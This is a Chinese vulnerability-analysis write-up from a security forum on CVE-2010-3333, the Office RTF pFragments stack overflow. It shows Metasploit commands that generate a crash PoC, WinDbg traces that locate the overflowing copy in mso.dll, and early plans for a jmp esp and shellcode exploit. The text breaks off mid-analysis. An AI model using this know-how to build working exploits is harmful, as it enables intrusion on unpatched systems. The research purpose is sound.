查看原文
其他

新的漏洞分析体验:CVE-2010-3333 RTF栈缓冲区溢出漏洞

LarryS 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:LarryS


1


前言


1.1 一些碎碎念


这是《漏洞战争》里面分析的第二个栈溢出漏洞,虽然对于栈溢出这个概念本身已经很熟悉了,但是在分析这个漏洞的时候,书中介绍了如何使用Metasploit生成POC样本,以及Windbg调试的一些内容,我对于这些都不算特别熟悉,因为对我来说收获很大。这篇文章也会在这两方面有所介绍。
 
除了上面这两点,平时在工作中也会遇到好多RTF格式的漏洞利用病毒文件,虽然利用的可能并不是同一个漏洞,但是通过这个漏洞学习,相信也能够对其他RTF格式漏洞利用有所了解。

1.2 漏洞介绍


该漏洞存在于Microsoft Office XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010等多个版本中,由于Open XML文件格式转换器在处理RTF中的"pFragments"属性值时,没有正确计算属性值占用的空间大小,导致了栈溢出漏洞的发生。


2


RTF格式介绍


以下说法可能和官方术语不符,只是为了理解。
 
RTF(Rich Text Format)文件中的内容可以分为内容单元和控制单元两个部分,软件读取RTF文件的时候,根据控制单元的内容设置对应内容单元的格式与位置,显示在文档中。
 
下面示例说明:
{\rtf\ansi\deff0{\fonttbl{\f0\froman Tms Rmn;}{\f1\fdecor Symbol;}{\f2\fswiss Helv;}}{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;}{\stylesheet{\fs20 \snext0Normal;}}{\info{\author John Doe}{\creatim\yr1990\mo7\dy30\hr10\min48}{\version1}{\edmins0}{\nofpages1}{\nofwords0}{\nofchars0}{\vern8351}}\widoctrl\ftnbj \sectd\linex0\endnhere \pard\plain \fs20 This is plain text.\par}

上面这个文件的显示结果是这样的:

2.1 控制单元


首先是大括号{},熟悉编程语言的话对这个概念应该很好接受,大括号定义了一个组(group)。

然后是\green0这样格式的字符串,这是一个控制字(control word),由斜杠\开头,后面跟一串小写字母。之后可以接:
  • 数字或者-数字,数字是参数,0表示该属性关闭;

  • 一个空格。如果超过一个空格,多余的空格会当作内容显示在文档中;

  • 其他非字母字符。这个非字母的字符标志着控制字结束了,但是字符本身会作为内容显示在文档中。


最后一种在上面的示例中没有,是控制符号(control symbol),格式类似\*,是一个斜杠\加上一个非字母的字符。我理解的控制符号类似于C语言中格式化字符串使用的\t,表示一些特殊字符,但是不知道这种理解准不准确。


2.2 整体结构


RTF文件由头部(header)和文档(document)两个部分组成<File> '{' <header> <document>'}':
<header>\rtf <charset> \deff? <fonttbl> <filetbl>? <colortbl>? <stylesheet>? <listtables>? <revtbl>?
<document><info>? <docfmt>* <section>+

可以和上面的示例文件内容做对比,对应关系还是蛮明显的。

2.3 针对漏洞的格式介绍


这次分析的漏洞产生的原因是Open XML文件格式转换器在处理RTF中的"pFragments"属性值时,没有正确计算属性值占用的空间大小,那么这个pFragments属性值是怎么回事呢?
 
RTF文件中可以插入图形,图形在RTF文件中的格式如下:
{ \shp ........ { \*\shpinst { \sp { \sn .......... } { \sv .............. } } } { \shprslt ............... } }

其中{ \spp { \sn .......... } { \sp .............. } }是这个图形的属性组,spp是shape properties的缩写,sn表示属性名称,sv表示属性值。
 
而pFragments就是其中的一个属性名称,它是一个数组结构,表示图形的可选附加部分,列出了图形的所有碎片。


3


初步调试分析


软件版本:Microsoft Office 2003 SP3
 
现在已经弄清楚了RTF的格式以及pFragments的含义,由于这个漏洞不像之前分析的漏洞一样已知是哪个DLL文件(我甚至都不知道是不是有这么一个DLL文件)中存在问题,因此无法静态分析,只能直接开始调试。

3.1 使用Metasploit生成调试用Poc文件


3.1.1 搜索


输入msfconsole进入msf之后,首先要搜索找到相关的脚本,书中提供的命令是search cve-2010-3333,我是用的是msf6,没有成功,后来使用了关键词pFragments:
msf6 > search pFragments
Matching Modules================
# Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof


3.1.2 生成PoC文件


接下来使用use指令指定exploit,使用info查看exploit的具体信息:
msf6 > use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpmsf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > info
Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format) Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof Platform: Windows Arch: Privileged: No License: Metasploit Framework License (BSD) Rank: Great Disclosed: 2010-11-09
Provided by: wushi of team509 unknown jduck <jduck@metasploit.com> DJ Manila Ice, Vesh, CA
Available targets: Id Name -- ---- 0 Automatic 1 Microsoft Office 2002 SP3 English on Windows XP SP3 English 2 Microsoft Office 2003 SP3 English on Windows XP SP3 English 3 Microsoft Office 2007 SP0 English on Windows XP SP3 English 4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English 5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English 6 Crash Target for Debugging
Check supported: No
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- FILENAME msf.rtf yes The file name.
Payload information: Space: 512 Avoid: 1 characters
Description: This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life.
References: https://nvd.nist.gov/vuln/detail/CVE-2010-3333 OSVDB (69085) https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-087 http://www.securityfocus.com/bid/44652 http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6target => 6msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'msf.rtf' file ...[+] msf.rtf stored at /root/.msf4/local/msf.rtf

可以看到target的第六项是6 Crash Target for Debugging,使用set指令选择第六个目标,然后exploit指令就可以生成我们需要的PoC文件了。

3.2 PoC文件调试


3.2.1 确定漏洞发生原因


这里使用的是Windbg,打开WINWORD.exe之后,使用Windbg附加到该进程,输入g命令让进程继续运行,然后打开msf.rtf文件,可以看到Windbg中的输出:
0:003> gModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dllModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dllModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dllModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dllModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dllModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLLModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dllModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dllModLoad: 7e290000 7e401000 C:\WINDOWS\system32\shdocvw.dllModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dllModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dllModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dllModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dllModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dllModLoad: 36c30000 36c39000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dllModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dll(d68.e9c): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=0000c8ac ebx=05000000 ecx=0000019b edx=00000000 esi=1104c24c edi=00130000eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -mso!Ordinal6426+0x64d:30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

根据错误信息Access violation确定应该是esi或者edi所在的位置访问出错了,看一下这两个位置的值是什么,使用db查看字节数据:
0:000> db esi1104c24c 4c 74 36 4c 74 37 4c 74-38 4c 74 39 4c 75 30 4c Lt6Lt7Lt8Lt9Lu0L1104c25c 75 31 4c 75 32 4c 75 33-4c 75 34 4c 75 35 4c 75 u1Lu2Lu3Lu4Lu5Lu1104c26c 36 4c 75 37 4c 75 38 4c-75 39 4c 76 30 4c 76 31 6Lu7Lu8Lu9Lv0Lv11104c27c 4c 76 32 4c 76 33 4c 76-34 4c 76 35 4c 76 36 4c Lv2Lv3Lv4Lv5Lv6L1104c28c 76 37 4c 76 38 4c 76 39-4c 77 30 4c 77 31 4c 77 v7Lv8Lv9Lw0Lw1Lw1104c29c 32 4c 77 33 4c 77 34 4c-77 35 4c 77 36 4c 77 37 2Lw3Lw4Lw5Lw6Lw71104c2ac 4c 77 38 4c 77 39 4c 78-30 4c 78 31 4c 78 32 4c Lw8Lw9Lx0Lx1Lx2L1104c2bc 78 33 4c 78 34 4c 78 35-4c 78 36 4c 78 37 4c 78 x3Lx4Lx5Lx6Lx7Lx0:000> db edi00130000 41 63 74 78 20 00 00 00-01 00 00 00 98 24 00 00 Actx ........$..00130010 c4 00 00 00 00 00 00 00-20 00 00 00 00 00 00 00 ........ .......00130020 14 00 00 00 01 00 00 00-06 00 00 00 34 00 00 00 ............4...00130030 14 01 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................00130040 00 00 00 00 00 00 00 00-00 00 00 00 02 00 00 00 ................00130050 00 00 00 00 00 00 00 00-00 00 00 00 14 02 00 00 ................00130060 9c 01 00 00 00 00 00 00-5b 49 59 2d b0 03 00 00 ........[IY-....00130070 32 00 00 00 e4 03 00 00-d2 02 00 00 00 00 00 00 2...............

看不出来有什么问题,esi处保存的应该就是复制的源字符串,要看一下所在内存的访问权限,使用!address命令可以显示内存信息:
0:000> !address esiUsage: <unclassified>Allocation Base: 11040000Base Address: 11040000End Address: 1e64c000Region Size: 0d60c000Type: 00020000 MEM_PRIVATEState: 00001000 MEM_COMMITProtect: 00000004 PAGE_READWRITE
0:000> !address ediUsage: MemoryMappedFileAllocation Base: 00130000Base Address: 00130000End Address: 00133000Region Size: 00003000Type: 00040000 MEM_MAPPEDState: 00001000 MEM_COMMITProtect: 00000002 PAGE_READONLYMapped file name: PageFile

原因出现了,edi所在的位置只有读权限,而现在程序在尝试向其中写入数据。
 
注意到错误信息中的esp寄存器值为esp=00123d98,esp处的数据为:
0:000> db esp00123d98 f0 10 49 01 88 3f 12 00-96 cc f4 30 f0 10 49 01 ..I..?.....0..I.00123da8 c0 3d 12 00 00 00 00 00-00 00 00 00 00 00 00 00 .=..............00123db8 00 00 00 00 a8 5c 59 64-41 61 30 41 61 31 41 61 .....\YdAa0Aa1Aa00123dc8 32 41 61 33 41 61 34 41-61 35 41 61 36 41 61 37 2Aa3Aa4Aa5Aa6Aa700123dd8 41 61 38 41 61 39 41 62-30 41 62 31 41 62 32 41 Aa8Aa9Ab0Ab1Ab2A00123de8 62 33 41 62 34 41 62 35-41 62 36 41 62 37 41 62 b3Ab4Ab5Ab6Ab7Ab00123df8 38 41 62 39 41 63 30 41-63 31 41 63 32 41 63 33 8Ab9Ac0Ac1Ac2Ac300123e08 41 63 34 41 63 35 41 63-36 41 63 37 41 63 38 41 Ac4Ac5Ac6Ac7Ac8A

所以应该是程序在向栈中复制数据,由于没有判断数据长度,导致数据溢出到了不可写区域引发了异常。
 
一般来说分析到这里我会习惯找到出现问题的dll文件,定位到问题函数,然后直接到IDA里面进行静态分析,同时在OD的协助下完成对漏洞函数的理解。

但是在《漏洞战争》这本书中,作者还在继续用windbg分析。为了熟悉windbg的使用,我也打算继续根据书中的流程进行分析。

3.2.2 确定数据来源


由于一开始已经对漏洞进行了介绍,我们知道漏洞是在处理pFragments属性的时候发生的。

所以合理怀疑上面windbg输出内容中,esp除的数据应该来自于pFragments属性内容,下面来验证一下。
 
看一下msf.rtf文件的内容:
{\rtf1{\shp{\sp{\sn pFragments}{\sv 7;6;11111111acc8416130416131416132416133416134416135416136416137416138416139416230416231416232416233416234416235416236416237416238416239416330416331416332416333416334416335416336416337416338416339416430416431416432416433416434416435416436416437416438416439416530416531416532416533416534416535416536416537416538416539416630416631416632416633416634416635416636416637416638416639416730416731416732416733416734416735416736416737416738416739416830416831416832416833416834416835416836416837416838416839416930416931416932416933416934416935416936416937416938416939416a30416a31416a32416a33416a34416a35416a36416a37416a38416a39416b30416b31416b32416b33416b34416b35416b36416b37416b38416b39416c30416c31416c32416c33416c34416c35416c36416c37416c38416c39416d30416d31416d32416d33416d34416d35416d36416d37416d38416d39416e30416e31416e32416e33416e34416e35416e36416e37416e38416e39416f30416f31416f32416f33416f34416f35416f36416f37416f38416f39417030417031417032417033417034417035417036417037417038417039417130417131417132417133417134417135417136417137417138417139417230417231417232417233417234417235417236417237417238417239417330417331417332417333417334417335417336417337417338417339417430417431417432417433417434417435417436417437417438417439417530417531417532417533417534417535417536417537417538417539417630417631417632417633417634417635417636417637417638417639417730417731417732417733417734417735417736417737417738417739417830417831417832417833417834417835417836417837417838417839417930417931417932417933417934417935417936417937417938417939417a30417a31417a32417a33417a34417a35417a36417a37417a38417a39426130426131426132426133426134426135426136426137426138426139426230426231426232426233426234426235426236426237426238426239426330426331426332426333426334426335426336426337426338426339426430426431426432426433426434426435426436426437426438426439426530426531426532426533426534426535426536426537426538426539426630426631426632426633426634426635426636426637426638426639426730426731426732426733426734426735426736426737426738426739426830426831426832426833426834426835426836426837426838426839426930426931426932426933426934426935426936426937426938426939426a30426a31426a32426a33426a34426a35426a36426a37426a38426a39426b30426b31426b32426b33426b34426b35426b36426b37426b38426b39426c30426c31426c32426c33426c34426c35426c36426c37426c38426c39426d30426d31426d32426d33426d34426d35426d36426d37426d38426d39426e30426e31426e32426e33426e34426e35426e36426e37426e38426e39426f30426f31426f32426f33426f34426f35426f36426f37426f38426f39427030427031427032427033427034427035427036427037427038427039427130427131427132427133427134427135427136427137427138427139427230427231427232427233427234427235427236427237427238427239427330427331427332427333427334427335427336427337427338427339427430427431427432427433427434427435427436427437427438427439427530427531427532427533……

由于文件过长,这里只截取了一部分数据,看起来不太一样,但是等一下,我们把pFragements的内容复制到十六进制区域再看一下:
目前不太确定msf.rtf中前面的11111111ACC8是什么意思,以及esp中前面的\Yd是什么意思,接下来调试的时候可以注意,但是剩余内容都是一致的。


3.2.3 进一步调试分析


确定了是哪一句指令出现异常之后,需要定位这句指令在哪个函数中,因为现在windbg已经执行到了异常发生的时候。

整个栈帧已经被pFragments的数据覆盖了,无法获取有效信息,所以需要重新附加到WINWORD上,然后在异常发生地址0x30E9EB88这里下一个断点,继续执行:
0:004> bp 30e9eb88*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -0:004> gModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dllModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dllModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dllModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dllModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dllModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLLModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dllModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dllModLoad: 7e290000 7e401000 C:\WINDOWS\system32\shdocvw.dllModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dllModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dllModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dllModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dllModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dllModLoad: 36c30000 36c39000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dllModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dllBreakpoint 0 hiteax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206mso!Ordinal6426+0x64d:30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

此时还没有发生异常,栈帧中一切正常,使用kb指令显示调用堆栈及栈上的前三个参数:
0:000> kbChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong.00123dd0 30f4cdbd 00123f3c 00000000 ffffffff mso!Ordinal6426+0x64d00123e00 30f4a597 00123f88 00123f3c 00000000 mso!Ordinal753+0x306e0012404c 30d4b199 00000000 0012408c 00000000 mso!Ordinal753+0x84800124074 30d4b148 30d4ae32 014914c8 01491500 mso!Ordinal4196+0x61f00124078 30d4ae32 014914c8 01491500 014913b0 mso!Ordinal4196+0x5ce0012407c 014914c8 01491500 014913b0 30dc9d44 mso!Ordinal4196+0x2b800124080 01491500 014913b0 30dc9d44 00000000 0x14914c800124084 014913b0 30dc9d44 00000000 01491118 0x149150000124088 30dc9d44 00000000 01491118 00124e38 0x14913b00012408c 00000000 01491118 00124e38 00000000 mso!Ordinal2940+0x158fc

由于缺少symbol文件,所以这个栈帧是有可能出错的,不过这里还是可以分析出来的。
 
第一个是当前函数栈帧,要看下一行00123e00 30f4a597 00123f88 00123f3c 00000000 mso!Ordinal753+0x306e,用ub指令查看指定地址之前的汇编代码:
0:000> ub mso!Ordinal753+0x306emso!Ordinal753+0x305a:30f4cda9 23c1 and eax,ecx30f4cdab 50 push eax30f4cdac 8d47ff lea eax,[edi-1]30f4cdaf 50 push eax30f4cdb0 8b4508 mov eax,dword ptr [ebp+8]30f4cdb3 6a00 push 030f4cdb5 ff750c push dword ptr [ebp+0Ch]30f4cdb8 e8a0feffff call mso!Ordinal753+0x2f0e (30f4cc5d)

漏洞代码出现在函数0x30F4CC5D调用之中,所以要再一次载入程序,在0x30F4CC5D下断点,然后继续执行。
0:004> bp 0x30F4CC5D*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll -0:004> gModLoad: 77b40000 77b62000 C:\WINDOWS\system32\appHelp.dllModLoad: 77a20000 77a74000 C:\WINDOWS\System32\cscui.dllModLoad: 76600000 7661d000 C:\WINDOWS\System32\CSCDLL.dllModLoad: 5b860000 5b8b5000 C:\WINDOWS\system32\netapi32.dllModLoad: 76990000 769b5000 C:\WINDOWS\system32\ntshrui.dllModLoad: 76b20000 76b31000 C:\WINDOWS\system32\ATL.DLLModLoad: 769c0000 76a74000 C:\WINDOWS\system32\USERENV.dllModLoad: 75f80000 7607d000 C:\WINDOWS\system32\browseui.dllModLoad: 7e290000 7e401000 C:\WINDOWS\system32\shdocvw.dllModLoad: 754d0000 75550000 C:\WINDOWS\system32\CRYPTUI.dllModLoad: 76c30000 76c5e000 C:\WINDOWS\system32\WINTRUST.dllModLoad: 76c90000 76cb8000 C:\WINDOWS\system32\IMAGEHLP.dllModLoad: 76f60000 76f8c000 C:\WINDOWS\system32\WLDAP32.dllModLoad: 76980000 76988000 C:\WINDOWS\system32\LINKINFO.dllModLoad: 36c30000 36c39000 C:\Program Files\Microsoft Office\OFFICE11\msostyle.dllModLoad: 39800000 399b3000 C:\Program Files\Microsoft Office\OFFICE11\GdiPlus.DLLModLoad: 76f50000 76f58000 C:\WINDOWS\system32\WTSAPI32.DLLModLoad: 76360000 76370000 C:\WINDOWS\system32\WINSTA.dllBreakpoint 0 hiteax=00123f88 ebx=00000000 ecx=00123dfc edx=00000000 esi=00000000 edi=00000000eip=30f4cc5d esp=00123dd4 ebp=00123e00 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246mso!Ordinal753+0x2f0e:30f4cc5d 55 push ebp

漏洞代码的地址x30e9eb88,之后使用F10单步调试,寻找位于该地址附近的函数调用。
 
一直单步到这里,有一个函数调用,函数地址是0x30E9EB62,和漏洞代码地址很接近,应该就是这里了,F11步入:
0:000> peax=30d9ed10 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123f88eip=30f4cc93 esp=00123da4 ebp=00123dd0 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246mso!Ordinal753+0x2f44:30f4cc93 ff501c call dword ptr [eax+1Ch] ds:0023:30d9ed2c=30e9eb62

看一下这里的汇编代码:
0:000> uf eipmso!Ordinal6426+0x627:30e9eb62 57 push edi30e9eb63 8b7c240c mov edi,dword ptr [esp+0Ch]30e9eb67 85ff test edi,edi30e9eb69 7427 je mso!Ordinal6426+0x657 (30e9eb92)
mso!Ordinal6426+0x630:30e9eb6b 8b442408 mov eax,dword ptr [esp+8]30e9eb6f 8b4808 mov ecx,dword ptr [eax+8]30e9eb72 81e1ffff0000 and ecx,0FFFFh30e9eb78 56 push esi30e9eb79 8bf1 mov esi,ecx30e9eb7b 0faf742414 imul esi,dword ptr [esp+14h]30e9eb80 037010 add esi,dword ptr [eax+10h]30e9eb83 8bc1 mov eax,ecx30e9eb85 c1e902 shr ecx,230e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

需要注意esi、edi、ecx这三个寄存器的值:
0:000> peax=30d9ed10 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123f88eip=30e9eb63 esp=00123d9c ebp=00123dd0 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246mso!Ordinal6426+0x628:30e9eb63 8b7c240c mov edi,dword ptr [esp+0Ch] ss:0023:00123da8=00123dc0
0:000> db edi-400123dbc a8 5c 59 64 ea 80 fb 3f-00 00 00 05 00 00 00 00 .\Yd...?........00123dcc 06 40 00 00 00 3e 12 00-bd cd f4 30 3c 3f 12 00 .@...>.....0<?..00123ddc 00 00 00 00 ff ff ff ff-00 00 00 00 e0 14 49 01 ..............I.00123dec 20 44 12 00 8c 40 12 00-38 4e 12 00 b0 40 12 00 D...@..8N...@..00123dfc 00 00 00 00 e4 3f 12 00-97 a5 f4 30 88 3f 12 00 .....?.....0.?..00123e0c 3c 3f 12 00 00 00 00 00-e0 14 49 01 8c 40 12 00 <?........I..@..00123e1c 20 44 12 00 00 00 00 00-ff ff ff ff ff ff ff ff D..............00123e2c ff ff ff ff 00 00 00 00-00 00 00 20 01 01 00 00 ........... ....

所以数据要复制到0x123dc0。
0:000> peax=014910f0 ebx=05000000 ecx=00123dc0 edx=00000000 esi=014910f0 edi=00123dc0eip=30e9eb6f esp=00123d9c ebp=00123dd0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206mso!Ordinal6426+0x634:30e9eb6f 8b4808 mov ecx,dword ptr [eax+8] ds:0023:014910f8=0004c8ac
0:000> peax=014910f0 ebx=05000000 ecx=0004c8ac edx=00000000 esi=014910f0 edi=00123dc0eip=30e9eb72 esp=00123d9c ebp=00123dd0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206mso!Ordinal6426+0x637:30e9eb72 81e1ffff0000 and ecx,0FFFFh
0:000> peax=0000c8ac ebx=05000000 ecx=0000c8ac edx=00000000 esi=1104000c edi=00123dc0eip=30e9eb85 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206mso!Ordinal6426+0x64a:30e9eb85 c1e902 shr ecx,2

这里经过第一步运算后ecx的值是0xC8AC,然后进行了右移两位(除以4)的操作,因为rep movs dword是以四个字节为一个单位进行复制的。
0:000> peax=014910f0 ebx=05000000 ecx=0000c8ac edx=00000000 esi=00000000 edi=00123dc0eip=30e9eb80 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206mso!Ordinal6426+0x645:30e9eb80 037010 add esi,dword ptr [eax+10h] ds:0023:01491100=1104000c
0:000> db esi1104000c 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A1104001c 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab1104002c 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab51104003c 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A1104004c 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac1104005c 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad11104006c 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A1104007c 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae

源数据所在地址为0x1104000C。
 
注意在上面我查看edi处的数据时,使用的是db edi-4的命令,可以看到\Yd已经在栈中了,所以这三个字符和数据的复制操作没什么关系。

而ecx的值0xC8AC正是msf.rtf中保存的值,所以这两个字节用来保存pFragments的长度。
0000h: 11 11 11 11 AC C8 41 61 30 41 61 31 41 61 32 41

查看一下目前的寄存器情况:
0:000> reax=0000c8ac ebx=05000000 ecx=0000322b edx=00000000 esi=1104000c edi=00123dc0eip=30e9eb88 esp=00123d98 ebp=00123dd0 iopl=0 nv up ei pl nz na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206mso!Ordinal6426+0x64d:30e9eb88 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

数据复制的目标地址edi是0x123dc0,而此时栈帧基址ebp是0x123dd0,两者仅相差16个字节。所以如果想要覆盖返回地址,一共需要24个字节。

3.3 小总结


上面的分析流程和之前分析CVE-2010-2883还是有很大区别的,之前分析的poc文件是一个可以成功进行漏洞利用并攻击的样本,里面包含了shellcode。

而这次则是从一个引发异常的样本出发,分析出漏洞位置以及如何进行漏洞利用。
 
分析到这里,已经可以看出这是一个很典型的栈溢出漏洞,可以把返回地址覆盖成jmp esp的地址,然后把shellcode放在pFragments中,实现漏洞利用。


4


构造漏洞利用的poc文件


想要构造POC文件,还需要进行一些静态分析,因为在执行完数据的复制之后,还要执行一些代码才能到达覆盖的返回地址处。

如果只是简单的把返回地址和shellcode组合在一起,在到达返回地址之前,会首先触发异常。
 
注:我之所以能确定不能简单组合是因为自己试了一下,由于栈中原本的数据被覆盖,导致后面的函数执行出现异常,所以需要确定哪部分栈中的数据需要进行特殊处理。
 
根据一开始的错误信息:
mso!Ordinal6426+0x64d:30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

使用lm指令显示模块信息(因为电脑了有两个mso.dll,所以这一步还是很有必要的):
0:000> lm vm msostart end module name30c90000 31837000 mso (export symbols) C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Loaded symbol image file: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image path: C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll Image name: mso.dll Timestamp: Fri Aug 08 15:10:06 2003 (3F334CCE) CheckSum: 00BA7175 ImageSize: 00BA7000 File version: 11.0.5606.0 Product version: 11.0.5606.0 File flags: 0 (Mask 3F) File OS: 40004 NT Win32 File type: 2.0 Dll File date: 00000000.00000000 Translations: 0000.04e4 CompanyName: Microsoft Corporation ProductName: Microsoft Office 2003 InternalName: MSO OriginalFilename: MSO.DLL ProductVersion: 11.0.5606 FileVersion: 11.0.5606 FileDescription: Microsoft Office 2003 component LegalCopyright: Copyright © 1983-2003 Microsoft Corporation. All rights reserved.

这里找到了mso.dll的位置,在IDA中分析。

4.1 静态分析mso.dll


漏洞函数的调用发生在sub_30F4CC5D函数中,漏洞函数本身只是在做一个数据的复制,并没有自己的栈帧,所以上面覆盖的返回地址是sub_30F4CC5D的返回地址。
 
在执行完漏洞函数之后,程序又调用了另一个函数,看下图:
调用了sub_30F4CB1D函数,如果这个函数返回值为0,就会达到函数结束的代码。 
所以我们需要让sub_30F4CB1D函数的返回值为0。
 
在sub_30F4CB1D函数中:
